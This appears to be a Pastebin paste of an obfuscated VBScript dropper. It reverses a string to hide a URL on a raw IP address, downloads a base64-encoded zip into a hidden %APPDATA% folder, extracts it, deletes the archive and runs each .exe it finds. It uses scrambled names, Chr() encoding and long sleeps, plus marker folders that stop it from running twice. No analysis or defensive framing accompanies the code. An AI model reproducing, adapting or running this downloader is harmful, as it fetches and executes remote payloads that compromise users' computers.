Advertisement
carlosrj163

grl2

Feb 27th, 2020
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.32 KB | None | 0 0
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,UWXXZaccffhjkkmnpprssuwxx,OBJssuwxxzBBCEFFHJJKMO,objFeSO
  3. DZIP = StrReverse("osi.2xirtsamlg/591.771.711.04//:ptth")
  4. Set OBJssuwxxzBBCEFFHJJKMO = CreateObject( "WScript.Shell" )
  5. UWXXZaccffhjkkmnpprssuwxx = OBJssuwxxzBBCEFFHJJKMO.ExpandEnvironmentStrings("%APPDATA%")
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = UWXXZaccffhjkkmnpprssuwxx + "\founddhs"
  9. yyzBCCEGHHJLMMOPPRTUUWYYZbddegghjllmooqrttuwwyzBBDEEGIJJLMMOQRRTVVWYZZbddegiijllno
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. WScript.Sleep 160
  15. DVgijlnoqrrtvyABBDFGGIKKLNPPQSSTVXXYaacdffg
  16. WScript.Sleep 2424
  17. WScript.Sleep 32303
  18. XCmmnprsuuwxzzACEEFHJJKMOPPRSUUWXZZbc
  19. WScript.Sleep 32210
  20. DCaabdfgiijlnnoqsstvxxyABBDFGGIKLLNOQQSTVVX
  21. WScript.Sleep 2424
  22. WScript.Sleep 124
  23. WScript.Sleep 124
  24. DCuwyyzBCCEGHHJLLMOQQRTTUWWYZZbdeeghhjllmooqrttvwwyzzBDEE
  25. Function DCuwyyzBCCEGHHJLLMOQQRTTUWWYZZbdeeghhjllmooqrttvwwyzzBDEE()
  26. Dim ClqtIIJJLMMOQQRRTVWWYZLM,jrtuwxxBBCCGGHHKMw,jxtPRRTUWWYZbbcegh,ColtIIKMNNPPQSSUVVXZa
  27. Set ClqtIIJJLMMOQQRRTVWWYZLM = WScript.CreateObject( "WScript.Shell" )
  28. WScript.Sleep 70
  29. Set jrtuwxxBBCCGGHHKMw = CreateObject( "Scripting.FileSystemObject" )
  30. WScript.Sleep 50
  31. WScript.Sleep 50
  32. Set jxtPRRTUWWYZbbcegh = jrtuwxxBBCCGGHHKMw.GetFolder(PSTLM)
  33. WScript.Sleep 40
  34. WScript.Sleep 50
  35. Set ColtIIKMNNPPQSSUVVXZa = jxtPRRTUWWYZbbcegh.Files
  36. WScript.Sleep 60
  37. WScript.Sleep 50
  38. For Each ColtIIKMNNPPQSSUVVXZa in ColtIIKMNNPPQSSUVVXZa
  39. If UCase(jrtuwxxBBCCGGHHKMw.GetExtensionName(ColtIIKMNNPPQSSUVVXZa.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  40. NMEXE = ColtIIKMNNPPQSSUVVXZa.Name
  41. ClqtIIJJLMMOQQRRTVWWYZLM.Exec(PSTLM & UCase(Chr(92)) & ColtIIKMNNPPQSSUVVXZa.Name)
  42. WScript.Sleep 44
  43. End If
  44. Next
  45. End Function
  46. Function GTEK( myPassPhrase )
  47. Dim i, arrCode( )
  48. ReDim arrCode( Len( myPassPhrase ) - 1 )
  49. For i = 0 To UBound( arrCode )
  50. arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  51. Next
  52. GTEK = arrCode
  53. End Function
  54. Function XCmmnprsuuwxzzACEEFHJJKMOPPRSUUWXZZbc()
  55. DIM ClqtIIJJLMMOQQRRTVWWYZ,FilesInZip
  56. set ClqtIIJJLMMOQQRRTVWWYZ = CreateObject("Shell.Application")
  57. set FilesInZip=ClqtIIJJLMMOQQRRTVWWYZ.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  58. ClqtIIJJLMMOQQRRTVWWYZ.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  59. Set ClqtIIJJLMMOQQRRTVWWYZ = Nothing
  60. End Function
  61. Function DCaabdfgiijlnnoqsstvxxyABBDFGGIKLLNOQQSTVVX()
  62. DIM jrtuwxxBBCCGGHHKMxsd
  63. Set jrtuwxxBBCCGGHHKMxsd = Createobject("Scripting.FileSystemObject")
  64. jrtuwxxBBCCGGHHKMxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  65. End Function
  66. Function tORSSUVVXXZZaac( myFileIn, myFileOut, arrCode )
  67. Dim i, jrtuwxxBBCCGGHHKM, ColtIIKMNNPPQSSUVVXZaIn, ColtIIKMNNPPQSSUVVXZaOut, objStreamIn
  68. Const ForAppending = 8
  69. Const ForReading = 1
  70. Const ForWriting = 2
  71. Const TristateFalse = 0
  72. Const TristateMixed = -2
  73. Const TristateTrue = -1
  74. Const TristateUseDefault = -2
  75. On Error Resume Next
  76. If Not IsArray( arrCode ) Then
  77. arrCode = Array( arrCode )
  78. End If
  79. For i = 0 To UBound( arrCode )
  80. If Not IsNumeric( arrCode(i) ) Then
  81.  
  82. Encode = 1032
  83. Exit Function
  84. End If
  85. If arrCode(i) < 0 Or arrCode(i) > 255 Then
  86.  
  87. Encode = 1031
  88. Exit Function
  89. End If
  90. Next
  91. Set jrtuwxxBBCCGGHHKM = CreateObject( "Scripting.FileSystemObject" )
  92. If jrtuwxxBBCCGGHHKM.FileExists( myFileIn ) Then
  93. Set ColtIIKMNNPPQSSUVVXZaIn = jrtuwxxBBCCGGHHKM.GetFile( myFileIn )
  94. Set objStreamIn = ColtIIKMNNPPQSSUVVXZaIn.OpenAsTextStream( ForReading, TriStateFalse )
  95. Else
  96. Encode = 53
  97. objStreamIn.Close
  98. Set objStreamIn = Nothing
  99. Set ColtIIKMNNPPQSSUVVXZaIn = Nothing
  100. Set jrtuwxxBBCCGGHHKM = Nothing
  101.  
  102. Exit Function
  103. End If
  104. If jrtuwxxBBCCGGHHKM.FileExists( myFileOut ) Then
  105. ' Error 58: File already exists
  106. Encode = 58
  107. ' Close input file and release objects
  108. objStreamIn.Close
  109. Set objStreamIn = Nothing
  110. Set ColtIIKMNNPPQSSUVVXZaIn = Nothing
  111. Set jrtuwxxBBCCGGHHKM = Nothing
  112. ' Abort
  113. Exit Function
  114. Else
  115. Set ColtIIKMNNPPQSSUVVXZaOut = jrtuwxxBBCCGGHHKM.CreateTextFile( myFileOut, True, False )
  116. End If
  117. i = 0
  118. Do Until objStreamIn.AtEndOfStream
  119. i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  120. ColtIIKMNNPPQSSUVVXZaOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  121. Loop
  122. ColtIIKMNNPPQSSUVVXZaOut.Close
  123. objStreamIn.Close
  124. Set objStreamIn = Nothing
  125. Set ColtIIKMNNPPQSSUVVXZaIn = Nothing
  126. Set ColtIIKMNNPPQSSUVVXZaOut = Nothing
  127. Set jrtuwxxBBCCGGHHKM = Nothing
  128. Encode = Err.Number
  129. Err.Clear
  130. On Error Goto 0
  131. End Function
  132. Function yyzBCCEGHHJLMMOPPRTUUWYYZbddegghjllmooqrttuwwyzBBDEEGIJJLMMOQRRTVVWYZZbddegiijllno()
  133. dim mqXFFRJUWm
  134. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  135. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  136. WScript.Quit()
  137. End If
  138. End Function
  139. Function DVgijlnoqrrtvyABBDFGGIKKLNPPQSSTVXXYaacdffg()
  140. DIM req
  141. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  142. req.open "GET", DZIP, False
  143. req.send
  144. If req.Status = 200 Then
  145. Dim oNode, BinaryStream
  146. Const adTypeBinary = 1
  147. Const adSaveCreateOverWrite = 2
  148. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  149. oNode.dataType = "bin.base64"
  150. oNode.text = req.responseText
  151. Set BinaryStream = CreateObject("ADODB.Stream")
  152. BinaryStream.Type = adTypeBinary
  153. BinaryStream.Open
  154. BinaryStream.Write oNode.nodeTypedValue
  155. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  156. End if
  157. End Function
  158.  
  159.  
  160. Function TEMMORRE()
  161. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  162. IF objFeSO.FolderExists(UWXXZaccffhjkkmnpprssuwxx + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  163. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  164. objFeSO.CreateFolder STPASTALOKA
  165. objFeSO.CreateFolder OBJssuwxxzBBCEFFHJJKMO.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  166. END IF
  167. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement